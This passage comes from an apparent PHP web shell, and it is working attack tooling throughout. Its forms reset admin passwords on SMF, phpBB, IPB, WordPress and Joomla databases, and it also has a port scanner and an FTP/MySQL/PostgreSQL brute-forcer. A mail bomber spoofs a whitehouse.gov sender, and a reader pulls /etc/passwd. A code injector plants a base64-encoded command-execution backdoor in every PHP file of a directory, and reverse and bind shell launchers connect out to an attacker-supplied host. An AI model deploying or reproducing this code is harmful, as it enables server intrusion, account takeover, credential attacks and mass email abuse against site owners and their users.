  4060.                     <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  4061.                 </tr>
  4062.             </table>
  4063.             </form>
  4064.            
  4065.             <font class="tblheads" size="4">SMF Forum Password Changer</font>
  4066.             <form action="<?php echo $self; ?>" method = "POST" name="smf">
  4067.             <input type="hidden"  name="forums" value="smf">
  4068.             <table border = "1" width="50%" height="246" style="text-align: center;border-color:#333333;" align="center">
  4069.                 <tr>
  4070.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  4071.                 <p>
  4072.                     Table Prefix : <input type="text" name="prefix" value="smf_" class="sbox"> (Optional)</td>
  4073.                 </p>
  4074.                 </tr>
  4075.                 <tr>
  4076.                     <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  4077.                 </tr>
  4078.             </table>
  4079.             </form>
  4080.            
  4081.             <font class="tblheads" size="4">Phpbb Forum Password Changer</font>
  4082.             <form action="<?php echo $self; ?>" method = "POST">
  4083.             <input type="hidden"  name="forums" value="phpbb">
  4084.             <table border = "1" width="50%" height="246" style="text-align: center;border-color:#333333;" align="center">
  4085.                 <tr>
  4086.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  4087.                 <p>
  4088.                     Table Prefix : <input type="text" name="prefix" value="phpbb_" class="sbox"> (Optional)</td>
  4089.                 </p>
  4090.                 </tr>
  4091.                 <tr>
  4092.                     <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  4093.                 </tr>
  4094.             </table>
  4095.             </form>
  4096.            
  4097.             <font class="tblheads" size="4">IPB Forum Password Changer</font>
  4098.             <form action="<?php echo $self; ?>" method = "POST" name="ipb">
  4099.             <input type="hidden"  name="forums" value="ipb">
  4100.             <table border = "1" width="50%" height="246" style="text-align: center;border-color:#333333;" align="center">
  4101.                 <tr>
  4102.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  4103.                 <p>
  4104.                     Table Prefix : <input type="text" name="prefix" class="sbox"> (Optional)</td>
  4105.                 </p>
  4106.                 </tr>
  4107.                 <tr>
  4108.                     <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  4109.                 </tr>
  4110.             </table>
  4111.             </form>    
  4112.            
  4113.             <a name="wordp" id="wordp">
  4114.             <font class="tblheads" size="4">Wordpress Password Changer</font>
  4115.             <form action="<?php echo $self; ?>" method = "POST" name="wp">
  4116.             <input type="hidden"  name="forums" value="wp">
  4117.             <a name="wordp" id="wordp">
  4118.             <table border = "1" width="50%" height="246" style="text-align: center;border-color:#333333;" align="center">
  4119.                 <tr>
  4120.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  4121.                 <p>
  4122.                     Table Prefix : <input type="text" name="prefix" value="wp_" class="sbox"> (Optional)</td>
  4123.                 </p>
  4124.                 </tr>
  4125.                 <tr>
  4126.                     <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1"></p><p><b>New Username :</b> <input class="sbox" type="text" name="uname" size="20" value="admin">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  4127.                 </tr>
  4128.             </table>
  4129.             </form>
  4130.            
  4131.             <div name="jooml" id="jooml">
  4132.             <font class="tblheads" size="4">Joomla Password Changer</font>
  4133.             <form action="<?php echo $self; ?>" method = "POST">
  4134.             <input type="hidden"  name="forums" value="joomla">
  4135.             <table border = "1" width="50%" height="246" style="text-align: center;border-color:#333333;" align="center">
  4136.                 <tr>
  4137.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  4138.                 <p>
  4139.                     Table Prefix : <input type="text" name="prefix" value="jos_" class="sbox"> (Optional)</td>
  4140.                 </p>
  4141.                 </tr>
  4142.                 <tr>
  4143.                     <td height="70" width="780"><p align="center"><b>New Username :</b> <input class="sbox" type="text" name="uname" size="20" value="admin">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  4144.                 </tr>
  4145.             </table>
  4146.             </form>
  4147.             <?php
  4148.             if(isset($_GET['changed']))
  4149.             {   ?><font size="3"><blink>Password Changed Successfully</blink></font><br><br><?php }
  4150.             else if(isset($_GET['cannotchange']))
  4151.             {   ?><font class=txt size="3"><blink>Cannot Change Password</blink></font><br><br> <?php } ?>
  4152.         </center>  
  4153.             <?php
  4154.         }
  4155.     }
  4156.  
  4157.    
  4158.     // Mail
  4159.  
  4160.     else if(isset($_GET['tools']))
  4161.     {
  4162.        
  4163.         ?>
  4164.         <center>
  4165.         <table cellpadding="5" border="2" style="width:50%;">
  4166.             <tr>
  4167.                 <td colspan="2" align="center"><b>Port Scanner<br></b></td>
  4168.             </tr>
  4169.             <tr>
  4170.                 <td align="center">
  4171.                 <form name='scanner' method='post'>
  4172.                 <input class="sbox" type='text' name='host' value='<?php echo $_SERVER["SERVER_ADDR"]; ?>' >
  4173.                 </td>
  4174.                 <td align="center">
  4175.                 <select class="sbox" name='protocol'>
  4176.                     <option value='tcp'>tcp</option>
  4177.                     <option value='udp'>udp</option>
  4178.                 </select>
  4179.                 </td>
  4180.             <tr>
  4181.                 <td colspan="2" align="center"><input class="but" type='submit' value='Scan Ports'></td>
  4182.             </tr>
  4183.             </form>
  4184.            
  4185.         <?php
  4186.         if(isset($_POST['host']) && isset($_POST['protocol']))
  4187.         {
  4188.             echo "<tr><td colspan=2><font size='3' face='Verdana'>Open Ports: ";
  4189.             $host = $_POST['host'];
  4190.             $proto = $_POST['protocol'];
  4191.             $myports = array("21","22","23","25","59","80","113","135","445","1025","5000","5900","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
  4192.             for($current = 0; $current <= 23; $current++)
  4193.             {
  4194.                 $currents = $myports[$current];
  4195.                 $service = getservbyport($currents, $proto);
  4196.                 // Try to connect to port
  4197.                 $result = fsockopen($host, $currents, $errno, $errstr, 1);
  4198.                 // Show results
  4199.                 if($result)
  4200.                 {
  4201.                     echo "<font class=txt size=3>$currents, </font>";
  4202.                 }
  4203.             }
  4204.         }
  4205.         echo "</td></tr></table>";
  4206.         ?>
  4207.         <br>
  4208.         <form action="<?php echo $self; ?>" method="get">
  4209.         <input type="hidden" name="tools">
  4210.         <table cellpadding="5" border="2" style="width:50%;">
  4211.             <tr>
  4212.                 <td colspan="2" align="center"><font size="4">BruteForce</font></td>
  4213.             </tr>
  4214.             <tr>
  4215.                 <td>Type : </td>
  4216.                 <td>
  4217.                     <select name="prototype" class="sbox">
  4218.                         <option value="ftp">FTP</option>
  4219.                         <option value="mysql">MYSQL</option>
  4220.                         <option value="postgresql">PostgreSql</option>
  4221.                     </select>
  4222.                 </td>
  4223.             </tr>
  4224.             <tr>
  4225.                 <td>Server <b>:</b> Port : </td>
  4226.                 <td><input type="text" name="serverport" value="<?php echo $_SERVER["SERVER_ADDR"]; ?>" class="sbox"></td>
  4227.             </tr>
  4228.             <tr>
  4229.                 <td valign="middle">Brute type : </td>
  4230.                 <td><label><input type=radio name=type value="1" checked> /etc/passwd</label><label><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label><hr>
  4231.                 <input type=radio name=type value="2"> Dictionary</label><br>
  4232.                 Login : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" name="login" value="root" class="sbox"><br>
  4233.                 Dictionary : <input type="text" name="dict" value="<?php echo getcwd() . $directorysperator; ?>passwd.txt" class="sbox">
  4234.                 </td>
  4235.             </tr>
  4236.             <tr>
  4237.                 <td colspan="2" align="center"><input type="submit" value="Attack >>" class="but"></td>
  4238.             </tr>
  4239.             </form>
  4240.            
  4241.         <?php
  4242.         if(isset($_GET['prototype']))
  4243.         {
  4244.             echo '<tr><td colspan=2><h1>Results</h1><div><span>Type:</span> '.htmlspecialchars($_GET['prototype']).' <span><br>Server:</span> '.htmlspecialchars($_GET['serverport']).'<br>';
  4245.             if( $_GET['prototype'] == 'ftp' )
  4246.             {
  4247.                 function BruteFun($ip,$port,$login,$pass)
  4248.                 {
  4249.                     $fp = @ftp_connect($ip, $port?$port:21);
  4250.                     if(!$fp) return false;
  4251.                     $res = @ftp_login($fp, $login, $pass);
  4252.                     @ftp_close($fp);
  4253.                     return $res;
  4254.                 }
  4255.             }
  4256.             elseif( $_GET['prototype'] == 'mysql' )
  4257.             {
  4258.                 function BruteFun($ip,$port,$login,$pass)
  4259.                 {
  4260.                     $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  4261.                     @mysql_close($res);
  4262.                     return $res;
  4263.                 }
  4264.             }
  4265.             elseif( $_GET['prototype'] == 'pgsql' )
  4266.             {
  4267.                 function BruteFun($ip,$port,$login,$pass)
  4268.                 {
  4269.                     $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  4270.                     $res = @pg_connect($str);
  4271.                     @pg_close($res);
  4272.                     return $res;
  4273.                 }
  4274.             }
  4275.            
  4276.             $success = 0;
  4277.             $attempts = 0;
  4278.             $server = explode(":", $_GET['server']);
  4279.             if($_GET['type'] == 1)
  4280.             {
  4281.                 $temp = @file('/etc/passwd');
  4282.                 if( is_array($temp))
  4283.                     foreach($temp as $line)
  4284.                     {
  4285.                         $line = explode(":", $line);
  4286.                         ++$attempts;
  4287.                         if(BruteFun(@$server[0],@$server[1], $line[0], $line[0]) )
  4288.                         {
  4289.                             $success++;
  4290.                             echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  4291.                         }
  4292.                         if(@$_GET['reverse'])
  4293.                         {
  4294.                             $tmp = "";
  4295.                             for($i=strlen($line[0])-1; $i>=0; --$i)
  4296.                                 $tmp .= $line[0][$i];
  4297.                             ++$attempts;
  4298.                             if(BruteFun(@$server[0],@$server[1], $line[0], $tmp) )
  4299.                             {
  4300.                                 $success++;
  4301.                                 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  4302.                             }
  4303.                         }
  4304.                     }
  4305.             }
  4306.             elseif($_GET['type'] == 2)
  4307.             {
  4308.                 $temp = @file($_GET['dict']);
  4309.                 if( is_array($temp) )
  4310.                     foreach($temp as $line)
  4311.                     {
  4312.                         $line = trim($line);
  4313.                         ++$attempts;
  4314.                         if(BruteFun($server[0],@$server[1], $_GET['login'], $line) )
  4315.                         {
  4316.                             $success++;
  4317.                             echo '<b>'.htmlspecialchars($_GET['login']).'</b>:'.htmlspecialchars($line).'<br>';
  4318.                         }
  4319.                     }
  4320.             }
  4321.             echo "<span>Attempts:</span> <font class=txt>$attempts</font> <span>Success:</span> <font class=txt>$success</font></div></td></tr>";
  4322.         }
  4323.         ?>
  4324.        
  4325.         </table>
  4326.         </center><br>
  4327.         <?php
  4328.     }
  4329.    
  4330.    
  4331. // Mail
  4332.  
  4333. else if(isset($_GET['mailbomb']))
  4334. { ?>
  4335.     <center><table><tr><td><a href="<?php echo $self; ?>?bomb&mailbomb"><font size="4">| Mail Bomber |</font></a></td><td><a href="<?php echo $self; ?>?mail&mailbomb"><font size="4">| Mass Mailer |</font></a></td></tr></table></center><br>
  4336. <?php
  4337.     if(isset($_GET['bomb']))
  4338.     {
  4339.         if(
  4340.             isset($_GET['to']) &&
  4341.             isset($_GET['subject']) &&
  4342.             isset($_GET['message']) &&
  4343.             isset($_GET['times']) &&
  4344.             $_GET['to'] != '' &&
  4345.             $_GET['subject'] != '' &&
  4346.             $_GET['message'] != '' &&
  4347.             $_GET['times'] != ''
  4348.         )
  4349.         {
  4350.             $times = $_GET['times'];
  4351.             while($times--)
  4352.             {
  4353.                 if(isset($_GET['padding']))
  4354.                 {
  4355.                     $fromPadd = rand(0,9999);
  4356.                     $subjectPadd = " -- ID : ".rand(0,9999999);
  4357.                     $messagePadd = "\n\n------------------------------\n".rand(0,99999999);
  4358.                    
  4359.                 }
  4360.                 $from = "president$fromPadd@whitehouse.gov";
  4361.                 if(!mail($_GET['to'],$_GET['subject'].$subjectPadd,$_GET['message'].$messagePadd,"From:".$from))
  4362.                 {
  4363.                     $error = 1;
  4364.                     echo "<center><font size=3><blink><blink>Some Error Occured!</blink></font></center>";
  4365.                     break;
  4366.                 }
  4367.             }
  4368.             if($error != 1)
  4369.             {
  4370.                 echo "<center><font class=txt size=3><blink>Mail(s) Sent!</blink></font></center>";
  4371.             }
  4372.         }
  4373.         else
  4374.         {
  4375.             ?>
  4376.             <form method="GET">
  4377.                 <input type="hidden" name="bomb" />
  4378.                 <input type="hidden" name="mailbomb" />
  4379.                 <table id="margins" style="width:100%;">
  4380.                     <tr>
  4381.                         <td style="width:30%;">
  4382.                             To
  4383.                         </td>
  4384.                         <td>
  4385.                             <input class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/>
  4386.                         </td>
  4387.                     </tr>
  4388.                    
  4389.                     <tr>
  4390.                         <td style="width:30%;">
  4391.                             Subject
  4392.                         </td>
  4393.                         <td>
  4394.                             <input type="text" class="box" name="subject" value="Dhanush Here!" onFocus="if(this.value == 'Dhanush Here!')this.value = '';" onBlur="if(this.value=='')this.value='Dhanush Here!';" />
  4395.                         </td>
  4396.                     </tr>
  4397.                      <tr>
  4398.                         <td style="width:30%;">
  4399.                             No. of Times  
  4400.                         </td>
  4401.                         <td>
  4402.                             <input class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';"/>
  4403.                         </td>
  4404.                     </tr>
  4405.            
  4406.                     <tr>
  4407.                         <td style="width:30%;">
  4408.                            
  4409.                             Pad your message (Less spam detection)
  4410.                            
  4411.                         </td>
  4412.                         <td>
  4413.                        
  4414.                             <input type="checkbox" name="padding"/>
  4415.                              
  4416.                         </td>
  4417.                     </tr>
  4418.                     <tr>
  4419.                         <td colspan="2">
  4420.                             <textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!</textarea>
  4421.                         </td>
  4422.                     </tr>
  4423.                    
  4424.                    
  4425.                     <tr>
  4426.                         <td rowspan="2">
  4427.                             <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="but" value="    Bomb!  "/>
  4428.                         </td>
  4429.                     </tr>
  4430.                 </table>            
  4431.             </form>  
  4432.             <?php
  4433.         }
  4434.     }
  4435.     //Mass Mailer
  4436.  
  4437.     else if(isset($_GET['mail']))
  4438.     {
  4439.         if
  4440.         (isset($_GET['to']) &&  isset($_GET['from']) &&  isset($_GET['subject']) && isset($_GET['message']))
  4441.         {
  4442.             if(mail($_GET['to'],$_GET['subject'],$_GET['message'],"From:".$_GET['from']))
  4443.             {
  4444.                 echo "<center><font class=txt size=3><blink>Mail Sent!</blink></font></center>";
  4445.             }
  4446.             else
  4447.             {
  4448.                 echo "<center><font size=3><blink>Some Error Occured!</blink></font></center>";
  4449.             }
  4450.         }
  4451.         else
  4452.         {
  4453.         ?>
  4454.         <div align="left">
  4455.         <form method="GET">
  4456.             <input type="hidden" name="mail" />
  4457.             <input type="hidden" name="mailbomb" />
  4458.             <table align="left" style="width:100%;">
  4459.                 <tr>
  4460.                     <td style="width:10%;">From</td>
  4461.                     <td style="width:80%;" align="left"><input name="from" class="box" value="Hello@abcd.in" onFocus="if(this.value == 'president@whitehouse.gov')this.value = '';" onBlur="if(this.value=='')this.value='president@whitehouse.gov';"/></td>
  4462.                 </tr>
  4463.                
  4464.                 <tr>
  4465.                     <td style="width:20%;">To</td>
  4466.                     <td style="width:80%;"><input class="box" class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/></td>
  4467.                 </tr>
  4468.                
  4469.                 <tr>
  4470.                     <td style="width:20%;">Subject</td>
  4471.                     <td style="width:80%;"><input type="text" class="box" name="subject" value="Dhanush Here!!" onFocus="if(this.value == 'Dhanush Here!!')this.value = '';" onBlur="if(this.value=='')this.value='Dhanush Here!!';" /></td>
  4472.                 </tr>
  4473.                
  4474.                
  4475.                 <tr>
  4476.                     <td colspan="2">
  4477.                         <textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!!</textarea>
  4478.                     </td>
  4479.                 </tr>
  4480.                
  4481.                
  4482.                 <tr>
  4483.                     <td rowspan="2">
  4484.                         <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="but" value="   Send! "/>
  4485.                     </td>
  4486.                 </tr>
  4487.             </table>            
  4488.         </form></div>  
  4489.         <?php
  4490.     }
  4491. }
  4492. }
  4493.  
  4494. // View Passwd file
  4495.  
  4496. else if(isset($_GET['passwd']))
  4497. {
  4498.     $test='';
  4499.     $tempp= tempnam($test, "cx");
  4500.     $get = "/etc/passwd";
  4501.     if(copy("compress.zlib://".$get, $tempp))
  4502.     {
  4503.         $fopenzo = fopen($tempp, "r");
  4504.         $freadz = fread($fopenzo, filesize($tempp));
  4505.         fclose($fopenzo);
  4506.         $source = htmlspecialchars($freadz);
  4507.         echo "<tr><td><center><font size='3' face='Verdana'>$get</font><br><textarea rows='20' cols='80' class=box name='source'>$source</textarea>";
  4508.         unlink($tempp);
  4509.     }
  4510.     else
  4511.     {
  4512.         if (isset ($_GET['val1'], $_GET['val2']) && is_numeric($_GET['val1']) && is_numeric($_GET['val2']))
  4513.         {
  4514.             $temp = "";
  4515.             for(;$_GET['val1'] <= $_GET['val2'];$_GET['val1']++)
  4516.             {
  4517.                 $uid = @posix_getpwuid($_GET['val1']);
  4518.                 if ($uid)
  4519.                      $temp .= join(':',$uid)."\n";
  4520.              }
  4521.              echo '<br/>';
  4522.              paramexe('Users', $temp);
  4523.        }
  4524.        else
  4525.        {
  4526.             ?>
  4527.             <form>
  4528.                 <input type="hidden" name="passwd">
  4529.                 <table border="1" cellpadding="5" cellspacing="5" align="center" style="width:40%;">
  4530.                 <tr>
  4531.                     <td>From : </td><td><input type="text" name="val1" class="sbox" value="1"></td>
  4532.                 </tr>
  4533.                 <tr>
  4534.                     <td>To : </td><td><input type="text" name="val2" class="sbox" value="1000"></td>
  4535.                 </tr>
  4536.                 <tr>
  4537.                     <td colspan="2" align="center"><input type="submit" value="  Go  " class="but"></td>
  4538.                 </tr>
  4539.                 </table><br>
  4540.             </form>
  4541.             <?php
  4542.        }
  4543.     }
  4544. }
  4545.  
  4546.  
  4547. // Code Injector
  4548.  
  4549. else if(isset($_GET['injector']))
  4550. {
  4551.     ?>
  4552.         <table id="margins" >
  4553.         <tr>
  4554.             <form method='POST'>
  4555.             <input type="hidden" name="injector"/>  
  4556.                 <tr>
  4557.                     <td width="100" class="title">
  4558.                         Directory
  4559.                     </td>
  4560.                     <td>
  4561.                          <input class="box" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>" />
  4562.                     </td>
  4563.                 </tr>
  4564.                 <tr>
  4565.                 <td class="title">
  4566.                     Mode
  4567.                 </td>
  4568.                 <td>
  4569.                         <select style="width: 400px;" name="mode" class="box">
  4570.                             <option value="Apender">Apender</option>
  4571.                             <option value="Overwriter">Overwriter</option>
  4572.                         </select>
  4573.                 </td>
  4574.                 </tr>
  4575.                 <tr>
  4576.                     <td class="title">
  4577.                         File Type
  4578.                     </td>
  4579.                     <td>
  4580.                         <input type="text" class="box" name="filetype" value="php" onBlur="if(this.value=='')this.value='php';" />
  4581.                     </td>
  4582.                 </tr>
  4583.                 <tr>
  4584.                     <td>Create A backdoor by injecting this code in every php file of current directory</td>
  4585.                 </tr>
  4586.                
  4587.                 <tr>
  4588.                     <td colspan="2">
  4589.                         <textarea name="injectthis" cols="110" rows="10" class="box"><?php echo base64_decode("PD9waHAgJGNtZCA9IDw8PEVPRA0KY21kDQpFT0Q7DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFskY21kXSkpIHsNCnN5c3RlbSgkX1JFUVVFU1RbJGNtZF0pOyB9ID8+"); ?></textarea>
  4590.                     </td>
  4591.                 </tr>
  4592.                
  4593.                
  4594.                 <tr>
  4595.                     <td rowspan="2">
  4596.                         <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="but" value="Inject "/>
  4597.                     </td>
  4598.                 </tr>
  4599.         </form>
  4600.         </table>
  4601.         <?php
  4602. }
  4603. // Connect
  4604.  
  4605. else if(isset($_GET['connect']))
  4606. {
  4607.         ?>      
  4608.     <table style="width:50%" align="center" >
  4609.     <tr>
  4610.         <th colspan="1" width="50px">Reverse Shell</th>
  4611.         <th colspan="1" width="50px">Bind Shell</th>
  4612.     </tr>
  4613.     <tr>
  4614.         <form action='<?php echo $self; ?>?connect' method='post' >  
  4615.          <td>
  4616.             <table style="border-spacing: 6px;">
  4617.                 <tr>
  4618.                     <td>IP </td>
  4619.                     <td>
  4620.                         <input type="text" class="box" style="width: 200px;" name="ip" value="<?php yourip();?>" />
  4621.                     </td>
  4622.                 </tr>
  4623.                 <tr>
  4624.                     <td>Port </td>
  4625.                     <td><input style="width: 200px;" class="box" name="port" size='5' value="21"/></td>
  4626.  
  4627.                 </tr>
  4628.                 <tr>
  4629.                     <td style="vertical-align:top;">Use:</td>  
  4630.                     <td><select style="width: 95px;" name="lang" class="sbox">
  4631.                         <option value="perl">Perl</option>
  4632.                         <option value="python">Python</option>
  4633.                         <option value="php">PHP</option>
  4634.                         </select>&nbsp;&nbsp;
  4635.                     <input style="width: 90px;" class="but" type="submit" value="Connect!"/></td>
  4636.                    
  4637.                </tr>
  4638.             </table>
  4639.          </td>
  4640.       </form>
  4641.          <form action='<?php echo $self; ?>?connect' method='post' >
  4642.          <td style="vertical-align:top;">
  4643.             <table style="border-spacing: 6px;">
  4644.                 <tr>
  4645.                     <td>Port</td>
  4646.                     <td>
  4647.                         <input style="width: 200px;" class="box" name="port" value="21" />
  4648.                     </td>
  4649.                 </tr>
  4650.                 <tr>
  4651.                     <td>Password </td>
  4652.                     <td>
  4653.                         <input style="width: 200px;" class="box" name="passwd" value="Dhanush"/>
  4654.                     </td>
  4655.                     <tr>
  4656.                         <td>Using</td>
  4657.                         <td>
  4658.                         <select style="width: 95px;" name="lang" id="lang" class="sbox">
  4659.                         <option value="perl">Perl</option>
  4660.                         <option value="c">C</option>
  4661.                         </select>&nbsp;&nbsp;
  4662.                         <input style="width: 90px;" class="but" type="submit" value=" Bind "/></td>
  4663.                 </tr>
  4664.             </table>
  4665.          </td>
  4666.          </form>
  4667.     </tr>
  4668.     </table>
  4669.     <div align="center">Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p 21"!</div>
  4670.     <p align="center">Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!</p>
  4671. <?php
  4672.     if(isset($_POST['ip']) &&   isset($_POST['port']) &&  $_POST['ip'] != "" && $_POST['port'] != ""  )
  4673.     {
  4674.              
  4675.         $host = $_POST['ip'];
  4676.         $port = $_POST['port'];
  4677.         if($_POST["lang"] == "perl")
  4678.         {
  4679.             if(is_writable("."))
  4680.             {  
  4681.                 @$fh=fopen(getcwd()."/bc.pl",'w');
  4682.                 @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
  4683.                 @fclose($fh);
  4684.                 echo "<font class=txt size=3>Trying to connect...</font></br>";
  4685.                 execmd("perl ".getcwd()."/bc.pl $host $port &",$disable);
  4686.                 if(!@unlink(getcwd()."/bc.pl")) echo "<font size=3>Warning: Failed to delete reverse-connection program</font></br>";
  4687.             }
  4688.             else
  4689.             {
  4690.                 @$fh=fopen("/tmp/bc.pl","w");
  4691.                 @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
  4692.                 @fclose($fh);
  4693.                 echo "<font class=txt size=3>Trying to connect...</font></br>";
  4694.                 execmd("perl /tmp/bc.pl $host $port &",$disable);
  4695.                 if(!@unlink("/tmp/bc.pl")) echo "<font><h2>Warning: Failed to delete reverse-connection program<</h2>/font></br>";
  4696.             }
  4697.         }
  4698.         else if($_POST["lang"] == "python")
  4699.         {
  4700.             if(is_writable("."))
  4701.             {
  4702.                  $w_file=@fopen(getcwd()."/bc.py","w");
  4703.                  if($w_file)
  4704.                  {
  4705.                      @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
  4706.                      @fclose($w_file);
  4707.                  }
  4708.                  chmod('bc.py', 0777);
  4709.                  $blah = execmd("python ".getcwd()."/bc.py $host $port &");
  4710.                  echo "<font class=txt size=2>Trying to connect...</font></br>";
  4711.                  if(!@unlink("bc.py")) echo "<font><h2>Warning: Failed to delete reverse-connection program<</h2>/font></br>";               
  4712.             }
  4713.             else
  4714.             {
  4715.                      $w_file=@fopen("/tmp/bc.py","w") or err();
  4716.                  if($w_file)
  4717.                  {
  4718.                      @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
  4719.                      @fclose($w_file);
  4720.                  }
  4721.                  chmod('/tmp/bc.py', 0777);
  4722.                  $blah = execmd("python /tmp/bc.py 127.0.0.1 21 &");
  4723.                  echo "<font class=txt size=2>Trying to connect...</font></br>";
  4724.                  if(!@unlink("/tmp/bc.py")) echo "<font><h2>Warning: Failed to delete reverse-connection program<</h2>/font></br>";
  4725.             }
  4726.         }
  4727.         else if($_POST["lang"] == "php")
  4728.         {
  4729.              echo "<font class=txt size=3>Attempting to connect...</font>";
  4730.             $ip = $_POST['ip'];
  4731.             $port=$_POST['port'];
  4732.             $sockfd=fsockopen($ip , $port , $errno, $errstr );
  4733.             if($errno != 0)
  4734.             {
  4735.                 echo "<font class=txt><b>$errno</b> : $errstr</font>";
  4736.             }
  4737.             else if (!$sockfd)
  4738.             {
  4739.                    $result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>";
  4740.             }
  4741.             else
  4742.             {
  4743.                 fputs ($sockfd ,"\n=================================================================\nCoded By Arjun\n=================================================================");
  4744.              $pwd = exec_all("pwd");
  4745.              $sysinfo = exec_all("uname -a");
  4746.              $id = exec_all("id");
  4747.              $len = 1337;
  4748.              fputs($sockfd ,$sysinfo . "\n" );
  4749.              fputs($sockfd ,$pwd . "\n" );
  4750.              fputs($sockfd ,$id ."\n\n" );
  4751.              fputs($sockfd ,$dateAndTime."\n\n" );
  4752.              while(!feof($sockfd))
  4753.              {  
  4754.                 $cmdPrompt ="(dhanush)[$]> ";
  4755.                 fputs ($sockfd , $cmdPrompt );
  4756.                 $command= fgets($sockfd, $len);
  4757.                 fputs($sockfd , "\n" . exec_all($command) . "\n\n");
  4758.             }
  4759.             fclose($sockfd);
  4760.             }
  4761.         }
  4762.     }
  4763.     else if(isset($_POST['passwd']) && isset($_POST['port']) && isset($_POST['lang']))
  4764.     {
  4765.          $passwd = $_POST['passwd'];
  4766.          if($_POST['lang'] == 'c')
  4767.          {
  4768.             if(is_writable("."))
  4769.             {  
  4770.                 @$fh=fopen(getcwd()."/bp.c",'w');
  4771.                 @fwrite($fh,gzinflate(base64_decode($bind_port_c)));
  4772.                 @fclose($fh);
  4773.                 execmd("chmod ".getcwd()."/bp.c 0755");
  4774.                 execmd("gcc -o ".getcwd()."/bp ".getcwd()."/bp.c");
  4775.                 execmd("chmod ".getcwd()."/bp 0755");
  4776.                 $out = execmd(getcwd()."/bp"." ".$_POST['port']." ". $passwd ." &");
